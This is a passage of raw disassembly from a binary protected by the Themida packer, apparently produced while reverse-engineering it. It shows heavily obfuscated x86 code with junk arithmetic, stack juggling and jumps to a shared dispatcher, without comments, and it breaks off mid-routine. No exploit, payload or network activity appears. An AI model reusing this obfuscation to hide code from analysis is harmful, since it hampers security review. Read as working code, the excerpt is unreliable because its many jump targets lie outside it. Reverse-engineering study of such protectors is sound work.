mov esi, [esp]
jmp loc_5A322A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A1BEA: ; CODE XREF: Themida_:005A5582j
; Themida_:005AA770j
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59E585
; ---------------------------------------------------------------------------
loc_5A1BFA: ; CODE XREF: Themida_:005A657Fj
mov ecx, 21CD3403h
or ecx, 61CE530Eh
push esi
mov esi, 75272BAFh
add ecx, esi
pop esi
push edx
mov edx, 624C51A2h
shr edx, 2
sub edx, 5D7B15BFh
add edx, 0FFFFFFFFh
push ebp
mov ebp, 151E61AEh
add ebp, 8FB06B9h
jmp loc_5AC1FD
; ---------------------------------------------------------------------------
loc_5A1C34: ; CODE XREF: Themida_:005A0077j
shl eax, 7
neg eax
jmp loc_59EF6C
; ---------------------------------------------------------------------------
loc_5A1C3E: ; CODE XREF: Themida_:005AB60Fj
pop ax
sub bh, 0FFh
neg bh
push 1A79h
mov [esp], edx
mov dl, 8Eh
sub dl, 0F3h
jmp loc_5A41B3
; ---------------------------------------------------------------------------
loc_5A1C57: ; CODE XREF: Themida_:0059B610j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 2
mov [esp], dx
jmp loc_5A121E
; ---------------------------------------------------------------------------
loc_5A1C78: ; CODE XREF: Themida_:00598A9Bj
shr ebx, 6
and ebx, 354B4332h
shl ebx, 4
sub ebx, 3C3F742Eh
sub ebx, 3AD23368h
add esi, ebx
jmp loc_59D82A
; ---------------------------------------------------------------------------
loc_5A1C97: ; CODE XREF: Themida_:005A0698j
push 7AA0h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push eax
push 4
push dword ptr [esp]
pop eax
push ebx
jmp loc_5AB8E1
; ---------------------------------------------------------------------------
loc_5A1CB4: ; CODE XREF: Themida_:005A999Ej
sub edi, 9EE4F5Ah
add edi, 23AA0990h
std
jmp loc_5A9F6A
; ---------------------------------------------------------------------------
loc_5A1CC6: ; CODE XREF: Themida_:005A75F8j
push ebp
xor dword ptr [esp], 6D945DA6h
pop edi
xor edi, 6D945DA6h
push dword ptr [esp]
pop ebp
push ebx
push esp
pop ebx
jmp loc_59E4B6
; ---------------------------------------------------------------------------
loc_5A1CE1: ; CODE XREF: Themida_:0059EC9Fj
; Themida_:005A3763j
mov edx, 4
sub edi, edx
pop edx
xchg edi, [esp]
mov esp, [esp]
jmp loc_5ABD11
; ---------------------------------------------------------------------------
loc_5A1CF4: ; CODE XREF: Themida_:0059AF65j
mov esi, 4C542A9Dh
sub esi, 32806811h
jmp loc_5A2C83
; ---------------------------------------------------------------------------
loc_5A1D04: ; CODE XREF: Themida_:005AE1D0j
sub edx, 4
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
jmp loc_5A15E0
; ---------------------------------------------------------------------------
loc_5A1D19: ; CODE XREF: Themida_:0059B0E1j
jmp loc_5A2708
; ---------------------------------------------------------------------------
loc_5A1D1E: ; CODE XREF: Themida_:005A1FF0j
sub ecx, 812459A8h
jmp loc_59A9D0
; ---------------------------------------------------------------------------
loc_5A1D29: ; CODE XREF: Themida_:005AD813j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A1D2E: ; CODE XREF: Themida_:005A7FE3j
not ah
dec ah
and ah, 0C3h
push ecx
mov ch, 30h
or ch, 0FCh
xor ch, 0A1h
neg ch
xor ch, 0C9h
shl ch, 8
sub ch, 39h
xor ah, ch
pop ecx
add ch, ah
pop eax
push 168Eh
mov [esp], edx
mov dl, 2Ch
jmp loc_59A116
; ---------------------------------------------------------------------------
loc_5A1D5E: ; CODE XREF: Themida_:005A40E2j
; Themida_:005A856Aj
push esi
not dword ptr [esp]
pop esi
neg esi
sub esi, 49E333A4h
xor esi, 0D594326Dh
xor edx, esi
jmp loc_5AA08B
; ---------------------------------------------------------------------------
loc_5A1D78: ; CODE XREF: Themida_:005A507Fj
pop dword ptr [esp]
jmp loc_5A64E4
; ---------------------------------------------------------------------------
loc_5A1D80: ; CODE XREF: Themida_:005A9552j
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
jmp loc_59951C
; ---------------------------------------------------------------------------
loc_5A1D8E: ; CODE XREF: Themida_:0059B38Fj
shl ah, 3
shl ah, 5
js loc_5A15B2
or ah, 51h
jo loc_5A953C
push ecx
mov cl, 0BBh
xor ah, cl
pop ecx
jmp loc_5ACD28
; ---------------------------------------------------------------------------
loc_5A1DAE: ; CODE XREF: Themida_:00599830j
jb loc_59FB8A
push 65C0h
mov [esp], ecx
mov eax, edi
pop esp
loc_5A1DBF: ; CODE XREF: Themida_:005A415Fj
mov edi, 0
mov ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
add ecx, 309772F3h
jmp loc_5AD9A8
; ---------------------------------------------------------------------------
loc_5A1DD8: ; CODE XREF: Themida_:005A8855j
mov dl, 0B7h
add dl, cl
jmp loc_59CF9A
; ---------------------------------------------------------------------------
loc_5A1DE1: ; CODE XREF: Themida_:0059C386j
mov edx, esp
jmp loc_5AB4F5
; ---------------------------------------------------------------------------
loc_5A1DE8: ; CODE XREF: Themida_:005A3F66j
mov bl, dl
mov [ecx], bl
mov ebx, [esp]
push ecx
push esp
push dword ptr [esp]
jmp loc_5A62C1
; ---------------------------------------------------------------------------
loc_5A1DF9: ; CODE XREF: Themida_:005A43C3j
mov esi, edx
pop edx
jmp loc_59A79A
; ---------------------------------------------------------------------------
loc_5A1E01: ; CODE XREF: Themida_:005A1401j
pop esp
push 411h
mov [esp], edx
push dword ptr [esp]
pop ecx
add esp, 4
pop edx
xor eax, ecx
push dword ptr [esp]
jmp loc_59A459
; ---------------------------------------------------------------------------
loc_5A1E1F: ; CODE XREF: Themida_:005A6240j
mov eax, esp
jmp loc_5A5DCE
; ---------------------------------------------------------------------------
loc_5A1E26: ; CODE XREF: Themida_:0059CBBBj
; Themida_:0059ED0Aj
mov edi, esi
pop esi
jmp loc_5AAC98
; ---------------------------------------------------------------------------
loc_5A1E2E: ; CODE XREF: Themida_:0059E1D3j
add edx, edi
jmp loc_599CF1
; ---------------------------------------------------------------------------
loc_5A1E35: ; CODE XREF: Themida_:005A006Cj
xor ebx, ecx
jmp loc_5AC77D
; ---------------------------------------------------------------------------
loc_5A1E3C: ; CODE XREF: Themida_:0059CFF3j
div cx
push small 316Ah
jmp loc_59BC3F
; ---------------------------------------------------------------------------
loc_5A1E48: ; CODE XREF: Themida_:0059BC3Aj
push ecx
add dword ptr [esp], 447F4562h
mov esi, [esp]
add esp, 4
sub esi, 447F4562h
jmp loc_5A696F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 1E28h
jmp loc_5A8599
; ---------------------------------------------------------------------------
loc_5A1E6F: ; CODE XREF: Themida_:005A56EDj
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
push ebp
mov ebp, 616B52D0h
xor [esp+4], ebp
pop ebp
mov eax, [esp]
push edx
push esp
mov edx, [esp]
add esp, 4
push edi
jmp loc_5AE84E
; ---------------------------------------------------------------------------
loc_5A1E97: ; CODE XREF: Themida_:0059A061j
mov ebp, ebx
jmp loc_5AB190
; ---------------------------------------------------------------------------
loc_5A1E9E: ; CODE XREF: Themida_:0059A056j
push edi
push eax
mov eax, 232C6035h
or eax, 5B333C5Eh
add eax, 4834593Ah
jmp loc_5A7FD1
; ---------------------------------------------------------------------------
loc_5A1EB4: ; CODE XREF: Themida_:00599658j
; Themida_:005AA086j
pop eax
add eax, 4
push 382Eh
jmp loc_5AC522
; ---------------------------------------------------------------------------
loc_5A1EC4: ; CODE XREF: Themida_:005ACE58j
add edi, 4
push eax
mov eax, 4
add edi, eax
pop eax
xchg edi, [esp]
pop esp
push 777Fh
mov [esp], ebp
push 4DE1h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_59D64F
; ---------------------------------------------------------------------------
loc_5A1EFF: ; CODE XREF: Themida_:0059BFC2j
add ebx, 504C0EB8h
jnb loc_5A56C6
jmp loc_5A73A5
; ---------------------------------------------------------------------------
mov esi, 4
push esi
loc_5A1F16: ; CODE XREF: Themida_:0059F5BFj
mov edx, 4
push 24D5h
mov [esp], edx
pop edi
pop edx
jmp loc_5ACBE9
; ---------------------------------------------------------------------------
loc_5A1F2A: ; CODE XREF: Themida_:005AAA37j
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ebx
jmp loc_5ACC78
; ---------------------------------------------------------------------------
loc_5A1F3B: ; CODE XREF: Themida_:005AEA99j
or eax, 7CC95B89h
or eax, 280E65E8h
jno loc_5AAD94
and eax, 5A522592h
jmp loc_599DF0
; ---------------------------------------------------------------------------
jmp loc_5A9BF4
; ---------------------------------------------------------------------------
loc_5A1F5A: ; CODE XREF: Themida_:0059E179j
; Themida_:0059F068j
pop esi
inc ecx
sub esp, 4
mov [esp], ebx
mov ebx, 341100D7h
xor ecx, ebx
pop ebx
add ebx, ecx
jmp loc_5AB820
; ---------------------------------------------------------------------------
loc_5A1F71: ; CODE XREF: Themida_:005A29CBj
pop edi
sub esp, 4
jmp loc_5AA382
; ---------------------------------------------------------------------------
loc_5A1F7A: ; CODE XREF: Themida_:005A0848j
jns loc_5A9A3F
xor edx, 3F1A2417h
jmp loc_5995D6
; ---------------------------------------------------------------------------
pop eax
push eax
loc_5A1F8D: ; CODE XREF: Themida_:005A2B95j
jge loc_59E74D
sub ebp, 64A45C2Dh
jmp loc_5AC7CF
; ---------------------------------------------------------------------------
add esp, 4
loc_5A1FA1: ; CODE XREF: Themida_:loc_5AD8EEj
jmp loc_5A3127
; ---------------------------------------------------------------------------
loc_5A1FA6: ; CODE XREF: Themida_:005AD7E2j
sub eax, esi
jmp loc_5A0925
; ---------------------------------------------------------------------------
loc_5A1FAD: ; CODE XREF: Themida_:0059F059j
; Themida_:005AD1B0j
mov [esp], ecx
mov ecx, 78267282h
shr ecx, 7
jmp loc_5995F3
; ---------------------------------------------------------------------------
loc_5A1FBD: ; CODE XREF: Themida_:005AA1F4j
push edx
not dword ptr [esp]
pop edx
push eax
mov eax, 33B60E76h
jmp loc_5A127F
; ---------------------------------------------------------------------------
loc_5A1FCD: ; CODE XREF: Themida_:005A9800j
and edi, 251EB6h
jmp loc_5AADAF
; ---------------------------------------------------------------------------
loc_5A1FD8: ; CODE XREF: Themida_:005A7CF4j
xor ecx, 0BB594447h
push ebp
mov ebp, ecx
mov ebx, ebp
jmp loc_59EB8C
; ---------------------------------------------------------------------------
loc_5A1FE8: ; CODE XREF: Themida_:005AECB0j
push ecx
mov ecx, 25E97A6Fh
not ecx
jmp loc_5A1D1E
; ---------------------------------------------------------------------------
loc_5A1FF5: ; CODE XREF: Themida_:005999BAj
pop ebp
pop eax
mov ebx, 33774BF2h
sub ebx, 5D07287Eh
jmp loc_5A87A3
; ---------------------------------------------------------------------------
loc_5A2007: ; CODE XREF: Themida_:005AACC6j
jmp loc_59BE97
; ---------------------------------------------------------------------------
loc_5A200C: ; CODE XREF: Themida_:005A3749j
mov edi, edx
jmp loc_59A36B
; ---------------------------------------------------------------------------
loc_5A2013: ; CODE XREF: Themida_:005AEAA7j
add esi, eax
mov eax, [esp]
jmp loc_5A5AAC
; ---------------------------------------------------------------------------
loc_5A201D: ; CODE XREF: Themida_:005ADCBAj
mov [esp], eax
mov eax, 4
jmp loc_59A75E
; ---------------------------------------------------------------------------
loc_5A202A: ; CODE XREF: Themida_:005AE775j
push ecx
jmp loc_59C6A3
; ---------------------------------------------------------------------------
loc_5A2030: ; CODE XREF: Themida_:0059AF2Bj
pop eax
sub cl, 0Bh
jmp loc_59C46B
; ---------------------------------------------------------------------------
loc_5A2039: ; CODE XREF: Themida_:005A5876j
shr esi, 2
add esi, 533348BDh
and esi, 422D1144h
xor esi, 420C1000h
add eax, esi
pop esi
xchg eax, [esp]
pop esp
xor eax, 6517D06h
jb loc_5AC859
sub esp, 4
jmp loc_59840F
; ---------------------------------------------------------------------------
loc_5A2068: ; CODE XREF: Themida_:005AF1B8j
add ebp, 97045F98h
add edi, 47B4EAEh
add edi, ebp
sub edi, 47B4EAEh
jmp loc_5AE5D7
; ---------------------------------------------------------------------------
loc_5A2081: ; CODE XREF: Themida_:005A6BC6j
add ecx, ebp
pop ebp
add ecx, 0B8508BFBh
sub eax, ecx
pop ecx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], edx
mov edx, 2
jmp loc_598761
; ---------------------------------------------------------------------------
loc_5A20A4: ; CODE XREF: Themida_:005AEEE5j
mov ecx, 3C2279C0h
sub ecx, edx
pop edx
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
add esp, 4
add ebp, 4
push edi
mov edi, 5E4A7F0Bh
add edi, 2ECC7C87h
neg edi
jmp loc_5AEBBF
; ---------------------------------------------------------------------------
loc_5A20E2: ; CODE XREF: Themida_:0059E081j
add dword ptr [esp], 4
jmp loc_59BD9F
; ---------------------------------------------------------------------------
loc_5A20EB: ; CODE XREF: Themida_:005A82D9j
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
jmp loc_59B7DC
; ---------------------------------------------------------------------------
loc_5A20FA: ; CODE XREF: Themida_:0059CE50j
mov [esp], eax
push ebx
mov ebx, 6E4B455Ah
jmp loc_5A3E07
; ---------------------------------------------------------------------------
loc_5A2108: ; CODE XREF: Themida_:005A4924j
mov [esp], ebp
jmp loc_59FC3C
; ---------------------------------------------------------------------------
loc_5A2110: ; CODE XREF: Themida_:005ABB04j
add esp, 4
add ebp, 4
jmp loc_5A3D77
; ---------------------------------------------------------------------------
loc_5A211E: ; CODE XREF: Themida_:005AB6E9j
pop esp
and eax, edi
push dword ptr [esp]
jmp loc_59AC71
; ---------------------------------------------------------------------------
loc_5A2129: ; CODE XREF: Themida_:0059A759j
dec eax
push esi
mov esi, 2ECA1E7Ch
add esi, 2FAF1178h
push edi
mov edi, 66654BFDh
add edi, 72828A58h
add esi, edi
pop edi
xor eax, esi
mov esi, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
push edi
jmp loc_5A7582
; ---------------------------------------------------------------------------
loc_5A215C: ; CODE XREF: Themida_:005AE52Aj
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A2178: ; CODE XREF: Themida_:005AEEDAj
push ebp
jmp loc_59C4AD
; ---------------------------------------------------------------------------
loc_5A217E: ; CODE XREF: Themida_:0059F3F1j
pop ecx
jmp loc_5AC380
; ---------------------------------------------------------------------------
loc_5A2184: ; CODE XREF: Themida_:005A394Bj
mov esp, [esp]
jmp loc_5A59B7
; ---------------------------------------------------------------------------
loc_5A218C: ; CODE XREF: Themida_:005A7B5Ej
neg ebp
jz loc_5A462F
sub ebp, 5EF894E5h
mov edx, ebp
mov ebp, [esp]
jmp loc_5AD5FF
; ---------------------------------------------------------------------------
loc_5A21A4: ; CODE XREF: Themida_:005AA243j
push esi
push ebx
mov ebx, 45E401C8h
jmp loc_59AB0D
; ---------------------------------------------------------------------------
loc_5A21B0: ; CODE XREF: Themida_:005AA79Dj
add esp, 4
push ecx
mov ecx, 21587F26h
add edi, 0F8211F5h
sub edi, ecx
sub edi, 0F8211F5h
jmp loc_5A6C96
; ---------------------------------------------------------------------------
loc_5A21CF: ; CODE XREF: Themida_:005A2A60j
; Themida_:005AD8C9j
dec esi
shr esi, 1
js loc_5A04A9
push ecx
mov ecx, 608C2772h
shr ecx, 4
add ecx, 78650FA3h
inc ecx
or ecx, 165F6E9Dh
xor ecx, 0BE812A54h
add esi, ecx
pop ecx
push 6DE8h
mov [esp], esi
jmp loc_5A5DA3
; ---------------------------------------------------------------------------
loc_5A2204: ; CODE XREF: Themida_:005A60E6j
jz loc_59E39F
neg ebp
inc ebp
jz loc_5AAC1B
push edx
jmp loc_5A9443
; ---------------------------------------------------------------------------
loc_5A2219: ; CODE XREF: Themida_:0059D975j
mov ebp, [esp]
jmp loc_5A8EC4
; ---------------------------------------------------------------------------
loc_5A2221: ; CODE XREF: Themida_:00598D9Aj
push edi
push edx
mov edx, 1C016A54h
mov edi, 7B98AEAFh
sub edi, edx
mov edx, [esp]
add esp, 4
push edi
mov edi, 62001644h
add edx, edi
jmp loc_5AB55D
; ---------------------------------------------------------------------------
loc_5A2242: ; CODE XREF: Themida_:005A1830j
push esp
pop ebx
push esi
push ebx
push eax
jmp loc_5AF41B
; ---------------------------------------------------------------------------
loc_5A224C: ; CODE XREF: Themida_:005AE333j
sub eax, ecx
pop ecx
push ecx
jmp loc_5A9FF1
; ---------------------------------------------------------------------------
loc_5A2255: ; CODE XREF: Themida_:005A0BDBj
neg edi
jns loc_59EF18
jmp loc_5A2D11
; ---------------------------------------------------------------------------
loc_5A2262: ; CODE XREF: Themida_:0059C869j
xchg ecx, [esp]
pop esp
add esi, 4
add esi, 4
jmp loc_5A9884
; ---------------------------------------------------------------------------
loc_5A2277: ; CODE XREF: Themida_:005ACB1Fj
xor ebp, esi
pop esi
xor ebp, 6F6929EFh
push eax
mov eax, 77CA7937h
jmp loc_5A03C5
; ---------------------------------------------------------------------------
loc_5A228B: ; CODE XREF: Themida_:0059BE08j
sub esi, 1
sub esi, 16CE6978h
push eax
jmp loc_5A533C
; ---------------------------------------------------------------------------
loc_5A229D: ; CODE XREF: Themida_:005A0A00j
mov ecx, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
push edx
push esp
mov edx, [esp]
jmp loc_59E64C
; ---------------------------------------------------------------------------
loc_5A22CD: ; CODE XREF: Themida_:005A50DBj
add eax, 4
add eax, 4
jmp loc_5A9080
; ---------------------------------------------------------------------------
loc_5A22DC: ; CODE XREF: Themida_:005ACC36j
shl edx, 1
jnz loc_5A78CF
xor edx, 8B21CDFFh
push ebp
jmp loc_5A78DB
; ---------------------------------------------------------------------------
db 8Ah, 0F6h
; ---------------------------------------------------------------------------
pop ecx
loc_5A22F3: ; CODE XREF: Themida_:0059989Bj
; Themida_:005A95E6j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
jmp loc_5AE1E5
; ---------------------------------------------------------------------------
loc_5A230B: ; CODE XREF: Themida_:00598E80j
mov esi, 3F7223E3h
push ecx
mov ecx, 76E32936h
mov eax, 0D8B262E3h
xor eax, ecx
pop ecx
sub eax, esi
pop esi
jmp loc_5ACA2A
; ---------------------------------------------------------------------------
loc_5A2326: ; CODE XREF: Themida_:0059EF0Cj
sub eax, esi
pop esi
sub eax, 5ADF77EBh
pop ebp
sub eax, 7FDE0B5Fh
sub eax, ebx
jmp loc_5A8B1A
; ---------------------------------------------------------------------------
loc_5A233B: ; CODE XREF: Themida_:005A9AE6j
mov ecx, 3A822417h
and ebp, ecx
pop ecx
sub ebp, 212E8089h
mov edx, ebp
push dword ptr [esp]
pop ebp
jmp loc_5A82C5
; ---------------------------------------------------------------------------
loc_5A2354: ; CODE XREF: Themida_:0059B258j
; Themida_:005A86B1j
add eax, 0DEF4C324h
add ecx, eax
pop eax
jmp loc_5A1356
; ---------------------------------------------------------------------------
loc_5A2361: ; CODE XREF: Themida_:005A95D7j
shr esi, 2
jnz loc_59C79C
jmp loc_5A6AF3
; ---------------------------------------------------------------------------
pop dword ptr [esp]
jmp loc_5AE75F
; ---------------------------------------------------------------------------
loc_5A2377: ; CODE XREF: Themida_:005A7CB9j
sub ebx, 4DAB1463h
add ebx, ecx
jmp loc_5A8745
; ---------------------------------------------------------------------------
loc_5A2384: ; CODE XREF: Themida_:005A786Bj
shl dword ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A238D: ; CODE XREF: Themida_:005A6D9Fj
jmp loc_59838C
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A239B: ; CODE XREF: Themida_:005A4681j
push eax
jmp loc_59E64C
; ---------------------------------------------------------------------------
loc_5A23A1: ; CODE XREF: Themida_:005ACC14j
push ebp
mov ebp, 4F97294Ch
not ebp
jmp loc_59BF2B
; ---------------------------------------------------------------------------
loc_5A23AE: ; CODE XREF: Themida_:005A9637j
mov cl, 0B7h
shr cl, 8
push ebx
mov bl, 16h
inc bl
sub bl, 18h
jmp loc_59B37F
; ---------------------------------------------------------------------------
loc_5A23C0: ; CODE XREF: Themida_:005AF537j
push 3848h
mov [esp], ebp
push 7CF9h
push esi
jmp loc_59948D
; ---------------------------------------------------------------------------
loc_5A23D3: ; CODE XREF: Themida_:005AF22Bj
push edx
mov edx, 51D06C70h
mov esi, 0B499FCECh
add esi, edx
pop edx
sub ebp, 3982AACh
add ebp, esi
add ebp, 3982AACh
pop esi
jmp loc_5ABDB3
; ---------------------------------------------------------------------------
loc_5A23F5: ; CODE XREF: Themida_:0059CAABj
mov ebp, edi
pop edi
sub ebp, ebx
xchg ebp, ebx
mov ebp, [esp]
add esp, 4
sub ebx, 0E1D6A0D9h
sub eax, ebx
pop ebx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A2410: ; CODE XREF: Themida_:005A5F6Aj
pop ebp
push esi
xchg edi, [esp]
jmp loc_5A86C7
; ---------------------------------------------------------------------------
loc_5A241A: ; CODE XREF: Themida_:005A95E0j
; Themida_:005AB989j
mov ecx, eax
pop eax
add esi, ecx
jmp loc_5AB04B
; ---------------------------------------------------------------------------
loc_5A2424: ; CODE XREF: Themida_:005A713Ej
or eax, 2D00214Fh
jns loc_5A40DD
xchg eax, edx
not edx
xchg eax, edx
push ebx
jmp loc_5A000A
; ---------------------------------------------------------------------------
loc_5A2439: ; CODE XREF: Themida_:005A9007j
; Themida_:005A99B7j
xor ebx, edx
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
push esi
mov esi, 4
add ecx, esi
pop esi
push edx
push ecx
push 1F774420h
pop ecx
sub ecx, 1F77441Ch
mov edx, ecx
jmp loc_59B546
; ---------------------------------------------------------------------------
loc_5A2460: ; CODE XREF: Themida_:0059F97Aj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
not eax
xchg eax, [esp]
pop ecx
push edx
sub esp, 4
mov [esp], ecx
pop edx
jmp loc_5A753F
; ---------------------------------------------------------------------------
loc_5A247B: ; CODE XREF: Themida_:005A11D1j
add esp, 4
inc eax
js loc_5AE900
add eax, 4CBE5BD6h
jle loc_5A08CD
xor eax, 17D19C7h
jmp loc_5A18AD
; ---------------------------------------------------------------------------
loc_5A249A: ; CODE XREF: Themida_:005A2AE5j
not eax
jmp loc_5A7496
; ---------------------------------------------------------------------------
loc_5A24A1: ; CODE XREF: Themida_:005A5A6Ej
push ebx
sub esp, 4
jmp loc_5A71FA
; ---------------------------------------------------------------------------
loc_5A24AA: ; CODE XREF: Themida_:005A8D3Dj
dec ah
add ah, 0CFh
sub dl, ah
jmp loc_5A6085
; ---------------------------------------------------------------------------
loc_5A24B6: ; CODE XREF: Themida_:005AC75Aj
mov [esp], ecx
mov ecx, esp
push ebx
push ecx
mov ecx, 6FDD5F1Fh
mov ebx, ecx
pop ecx
shl ebx, 7
sub ebx, 66AF417Eh
add ebx, 0FFFFFFFFh
push edx
mov edx, 265542A9h
dec edx
jmp loc_59EBA8
; ---------------------------------------------------------------------------
loc_5A24DD: ; CODE XREF: Themida_:0059ADF9j
add ebx, 4
push edx
push 2
pop edx
jmp loc_5AF2E4
; ---------------------------------------------------------------------------
loc_5A24EF: ; CODE XREF: Themida_:0059B842j
mov [esp], bp
pop cx
pop bp
xor [esp], cx
xor cx, [esp]
jmp loc_5AD31A
; ---------------------------------------------------------------------------
loc_5A2504: ; CODE XREF: Themida_:005A15ADj
push 6C450296h
mov ebx, [esp]
add esp, 4
and ebx, 331C0E3Bh
jp loc_5A04DF
push 4F12h
mov [esp], edx
mov edx, 41787CB0h
mov bl, ah
loc_5A252A: ; CODE XREF: Themida_:005A5DFDj
jmp loc_59BE4F
; ---------------------------------------------------------------------------
loc_5A252F: ; CODE XREF: Themida_:0059D22Ej
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A2534: ; CODE XREF: Themida_:00599D4Cj
; Themida_:005A1399j
mov ebx, esp
jmp loc_5A635F
; ---------------------------------------------------------------------------
loc_5A253B: ; CODE XREF: Themida_:005A1052j
add ebx, edi
pop edi
push ebp
mov ebp, 103A39B9h
sub ebx, ebp
pop ebp
shl ebx, 1
push edi
mov edi, 3E8BFA88h
xor ebx, edi
pop edi
add ebp, ebx
jmp loc_59F484
; ---------------------------------------------------------------------------
loc_5A2559: ; CODE XREF: Themida_:005AA8EAj
neg ecx
jmp loc_59B470
; ---------------------------------------------------------------------------
loc_5A2560: ; CODE XREF: Themida_:005A0065j
neg edi
add edi, 1FDB4ABAh
neg edi
shl edi, 6
xor edi, 19BFA9CCh
xor edx, edi
mov edi, [esp]
add esp, 4
jmp loc_5ABD59
; ---------------------------------------------------------------------------
loc_5A2583: ; CODE XREF: Themida_:0059C667j
sub esp, 4
mov [esp], edi
jmp loc_5AD323
; ---------------------------------------------------------------------------
loc_5A2591: ; CODE XREF: Themida_:005A9C55j
mov esi, 5B5C5F62h
jmp loc_5A1149
; ---------------------------------------------------------------------------
loc_5A259B: ; CODE XREF: Themida_:005A72C1j
mov [esp], eax
sub esp, 4
push esp
pop dword ptr [esp]
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop eax
push 2837h
mov [esp], ecx
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_5AD16D
; ---------------------------------------------------------------------------
loc_5A25CF: ; CODE XREF: Themida_:005A4591j
dec eax
jmp loc_5A2AE3
; ---------------------------------------------------------------------------
loc_5A25D5: ; CODE XREF: Themida_:0059A83Ej
pop edx
push edx
mov edx, 6CC07BF1h
not edx
sub edx, 329752A9h
xor edx, 11977B3Fh
neg edx
push edi
mov edi, 3C860646h
or edx, edi
jmp loc_5A7716
; ---------------------------------------------------------------------------
loc_5A25F9: ; CODE XREF: Themida_:005AE694j
mov ebp, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_59896D
; ---------------------------------------------------------------------------
loc_5A260E: ; CODE XREF: Themida_:005A7B77j
add esp, 4
and edx, 72402FB0h
neg edx
jge loc_59A201
neg edx
jl loc_5A7C89
xor edx, 1DAC4504h
jl loc_59ED3C
push ecx
mov ecx, 17345904h
xor ecx, 48981716h
sub edx, ecx
pop ecx
jmp loc_59FED5
; ---------------------------------------------------------------------------
loc_5A264A: ; CODE XREF: Themida_:0059998Ej
push edx
mov edx, 4
jmp loc_5AA14F
; ---------------------------------------------------------------------------
loc_5A2655: ; CODE XREF: Themida_:005ADD7Aj
shl ecx, 2
or ecx, 385D2157h
sub ecx, 31F3255Dh
shr ecx, 7
shl ecx, 2
sub esp, 4
mov [esp], esi
mov esi, 3B1A1729h
jmp loc_5AC125
; ---------------------------------------------------------------------------
loc_5A267A: ; CODE XREF: Themida_:0059A70Dj
pop esp
idiv cl
movzx cx, ah
push small 456Ch
mov [esp], cx
jmp loc_59FA90
; ---------------------------------------------------------------------------
loc_5A268E: ; CODE XREF: Themida_:00598B97j
xor dh, 97h
push eax
push ebx
mov bl, 2Ah
jmp loc_5A457D
; ---------------------------------------------------------------------------
loc_5A269A: ; CODE XREF: Themida_:005AC930j
pop esi
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59A3AF
; ---------------------------------------------------------------------------
loc_5A26BC: ; CODE XREF: Themida_:005A100Bj
mov ch, al
jmp loc_5AED2B
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_59A51C
push 4825h
mov [esp], ecx
push 33E5h
mov [esp], ebx
push edx
jmp loc_5AB04B
; ---------------------------------------------------------------------------
loc_5A26E4: ; CODE XREF: Themida_:005A83FFj
sub edi, eax
pop eax
add eax, 122D24E4h
sub esp, 4
jmp loc_59AEAE
; ---------------------------------------------------------------------------
loc_5A26F7: ; CODE XREF: Themida_:005A64DFj
add edi, ebp
pop ebp
xchg edi, [esp]
jmp loc_5A1057
; ---------------------------------------------------------------------------
loc_5A2702: ; CODE XREF: Themida_:005A3345j
push ebx
jmp loc_5ADFDE
; ---------------------------------------------------------------------------
loc_5A2708: ; CODE XREF: Themida_:loc_5A1D19j
or ebp, 235E75F5h
jb loc_5A4EB8
or ebp, 568A3A16h
jmp loc_598926
; ---------------------------------------------------------------------------
loc_5A271F: ; CODE XREF: Themida_:005AD3A2j
mov ecx, ebx
pop ebx
jmp loc_5AB275
; ---------------------------------------------------------------------------
loc_5A2727: ; CODE XREF: Themida_:0059D059j
mov [esp], ebx
mov ebx, esp
push esi
push ecx
jmp loc_5ADEBC
; ---------------------------------------------------------------------------
loc_5A2733: ; CODE XREF: Themida_:0059CBCDj
mov ebx, 6C6B78BBh
push ecx
push esi
mov esi, 6C685978h
mov ecx, 1C624119h
xor ecx, esi
pop esi
or ebx, ecx
mov ecx, [esp]
add esp, 4
xor ebx, 2B42075Ch
push ecx
mov ecx, 1D8E7F65h
sub ebx, ecx
jmp loc_5A63E9
; ---------------------------------------------------------------------------
loc_5A2765: ; CODE XREF: Themida_:005A3874j
add eax, edx
pop edx
push edx
mov edx, 2
